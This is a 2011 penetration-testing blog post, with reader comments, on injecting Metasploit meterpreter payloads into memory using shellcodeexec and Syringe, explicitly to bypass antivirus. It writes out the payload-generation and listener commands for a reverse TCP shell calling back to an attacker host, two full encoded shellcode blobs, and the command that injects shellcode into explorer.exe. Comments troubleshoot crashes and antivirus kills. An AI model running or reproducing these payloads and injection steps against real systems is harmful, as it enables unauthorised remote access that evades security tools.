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Friday, July 1, 2011

Process Injection Outside of Metasploit

You may find yourself needing to do process injection outside of metasploit/meterpreter. A good examples is when you have a java meterpreter shell or you have access to gui environment (citrix) and/or AV is going all nom nom nom on your metasploit binary.
There are two public options I have found; shellcodeexec and syringe.

Both allow you to generate shellcode using msfpayload (not currently working with msfvenom) and inject that into memory (process for syringe) and get your meterpreter shell.

shellcodeexec

https://github.com/inquisb/shellcodeexec

http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html

= Short description =

shellcodeexec is a small script to execute in memory a sequence of opcodes.

"It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode."

"Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours."

Make the payload:


$ ./msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R
| ./msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIxMYC0EPGpCPOyIuEaN2PdNkRrP0LKCbT
LNkQBVtNkT2VHTOX7QZGVTqIoVQIPLlGLPaQlC2TlEpKqZoVmC1ZgZBXpQBPWLKCbVpLKQRElGqZpLKQPRXK5IP
T4CzGqN0RpLKPHVxNkV8EpVaXSKSGLRiLKP4LKEQZvTqIoP1O0NLIQZoVmGqXGTxM0T5ZTGsCMIhEkQmTdPuIrR
xNkQHTdGqICRFNkVlPKNkPXELVaICNkC4NkGqZpK9CtVDEtCkCkPaV9QJPQKOM0PXCoPZNkTRZKNfQMCXEcTrEP
C0CXPwRSVRQOPTPhPLCGGVC7KOZuNXZ0GqEPEPVIZdQDV0PhQ9K0PkC0KOIERpPPV0PPQPPPQPPPCXZJTOIOKPK
OKeOgQzC5E8O0I8OxC1E8TBGpR1ClOyIvPjR0QFPWPhZ9OURTE1IoZuK5IPCDTLKORnVhRUZLE8XpLuI2PVKOIE
RJC0QzC4QFV7QxVbN9ZhQOIoZuNkTvRJG0E8EPVpGpEPRvPjGpCXRxLdCcIuIoIENsPSCZGpRvCcV7CXGrIIZhQ
OKOKeEQKsVIO6NeIfT5ZLKsAA

Set up a listener to catch the shell:
$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

Run it on the windows side:
C:\WINDOWS\Temp>shellcodeexec.exe [msfencode's encoded payload]
**Must paste in the payload, cant be a .txt
Once you have shell you need to migrate out of it, it will be in the shellcodeexec process and as soon as someone ctrl-c or kills that cmd.exe the process dies and so does your shell

Looks like this:




Syringe

http://blog.securestate.com/post/2011/06/21/Syringe-utility-provides-ability-to-inject-shellcode-into-processes.aspx

http://www.securestate.com/Documents/syringe.c

= Short description =

"Syringe is a general purpose injection utility for the windows platform. It supports injection of DLLs, and shellcode into remote processes as well execution of shellcode (via the same method of shellcodeexec). It can be very useful for executing Metasploit payloads while bypassing many popular anti-virus implementations as well as executing custom made DLLs (not included)"

To compile “C:\codelocation\cl syringe.c”

C:\Documents and Settings\User\Desktop>syringe.exe
Syringe v1.2
A General Purpose DLL & Code Injection Utility

Usage:

Inject DLL:
syringe.exe -1 [ dll ] [ pid ]

Inject Shellcode:
syringe.exe -2 [ shellcode ] [ pid ]

Execute Shellcode:
syringe.exe -3 [ shellcode ]

-3 same issue as shellcodeexec, close cmd.exe or ctrl-c lose shell

-2 is preferred, located explorer.exe inject shellcode into that


C:\Documents and Settings\User\Desktop>tasklist
tasklist

Image Name PID Session Name Session# Mem Usage
========================= ====== ================ ======== ============
System Idle Process 0 Console 0 28 K
System 4 Console 0 236 K
smss.exe 540 Console 0 424 K
csrss.exe 604 Console 0 3,852 K
winlogon.exe 628 Console 0 5,012 K
services.exe 680 Console 0 3,440 K
lsass.exe 692 Console 0 1,408 K
vmacthlp.exe 848 Console 0 2,756 K
svchost.exe 864 Console 0 4,924 K
svchost.exe 944 Console 0 4,308 K
MsMpEng.exe 1040 Console 0 53,812 K
svchost.exe 1076 Console 0 23,780 K
svchost.exe 1164 Console 0 3,616 K
svchost.exe 1368 Console 0 3,916 K
explorer.exe 1624 Console 0 15,256 K
spoolsv.exe 1656 Console 0 6,072 K
VMwareTray.exe 1848 Console 0 5,044 K
VMwareUser.exe 1856 Console 0 6,328 K
msseces.exe 1864 Console 0 10,708 K
jusched.exe 1920 Console 0 4,304 K
msmsgs.exe 1928 Console 0 2,488 K
ctfmon.exe 1952 Console 0 3,248 K
svchost.exe 740 Console 0 3,760 K
jqs.exe 1108 Console 0 1,396 K
vmtoolsd.exe 1264 Console 0 9,976 K
VMUpgradeHelper.exe 1212 Console 0 4,176 K
TPAutoConnSvc.exe 2396 Console 0 4,392 K
alg.exe 2680 Console 0 3,612 K
TPAutoConnect.exe 3060 Console 0 4,848 K
iexplore.exe 3784 Console 0 16,300 K
iexplore.exe 4064 Console 0 45,392 K
wuauclt.exe 1224 Console 0 4,276 K
java.exe 1112 Console 0 27,516 K
java.exe 2520 Console 0 14,272 K
notepad.exe 440 Console 0 3,572 K
jucheck.exe 3112 Console 0 6,120 K
cmd.exe 3260 Console 0 2,700 K
tasklist.exe 3332 Console 0 4,580 K
wmiprvse.exe 3368 Console 0 5,824 K

C:\Documents and Settings\User\Desktop>syringe.exe -2 PYIIIIIIIIIIIIIIII7Q
ZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlZHMYEPGpEPE0NiXeVQXRQ
tNkCbTpNkRrVlLKPRVtNkRRExVoLwRjVFVQIoTqKpLlElCQCLVbVLQ0KqZoTMEQZgXbXpCbRwLK
CbVpNkCrElVaXPNkQPRXLEO0CDRjVaN0RpNkCxEHNkPXQ0VaICIsElG9LKP4LKEQZvVQIoTqKpL
lIQXOTMVaZgEhIpCEL4TCQmIhGKQmEtPuKRRxNkPXTdEQN3E6NkVlPKLKPXELGqICNkC4LKC1Zp
LIQTVDEtQKCkPaRyQJRqIoM0RxQOPZLKVrZKK6QMCXPnQuT4C0E8T7PiRNCYNiZFPTE8RlCGEvT
GIoZuTqKOPWRwV7RwPVPhEjPVQiLgKOXUZKCoCkEaO9V1PQQzTCRqCaCXKKQ0C0EPV3V0CXV7Oy
OoIVIoN5XkRhCiVQXRCbRHGpTrIpNdCbQBCbRqCbRpE8XkQEVNEkKOKeOyIVCZGrQKP1KOPWRwV
7CgRvE8VMVfGhQkIoZuOuO0RUTnPKCDTdE8K0VSGpGpOyKPPjC4RpQzEOCfRHT5PFOnK6IoXUZK
ZuXkQYM8McKOKOKOVOQQQhCtRBRPC0E8ZPMeNBV6IoXURJCpQxC0TPC0C0PhGpC0CpEPV7PhQHO
TPSM5KOKeOcPSV3LIIwRwPhEPEpEPEPRsV6E8EBZ6K9M2KOZuK5O0RTXMNkGwEQISMUKpPuXeQH
ZcM8RqIoIoKOEaP9GBVNTqGFP8VNEbGFTnP1VSVXEPAA 1624

Looks like this (you can use the same shellcode in syringe):

8 comments:

Eddie Vedder said...

explorer.exe is crashing
could this be VBox issue ?

Eddie Vedder said...

explorer.exe is crashing could this be VBox issue ?

CG said...

off the top of my head it could be several things.

jacked up binary

vbox

payload mismatch for architecture of the vm

box just needs a reboot...

you also didnt say which tool

Eddie Vedder said...

i'm using Syringe builded successfully with VS6
it reports injected successfully ,
but the process crash, (using the same payload as in your example on xp 32 bit)
error Access violation writing location 0x00000000
Thanks

Eddie Vedder said...

I forgot to mention that the same shellcode worked with shellcodeexec
Thanks for your time

Anonymous said...

Syringe is getting killed by antivirus, please help.

CG said...

did you compile your own?

Meatballs said...

Powershell or VBA payloads go direct to memory. Also you could try compiling .net on the machine: http://www.phillips321.co.uk/2013/01/25/use-net-csc-exe-to-create-a-malicious-dllexe-on-locked-down-systems/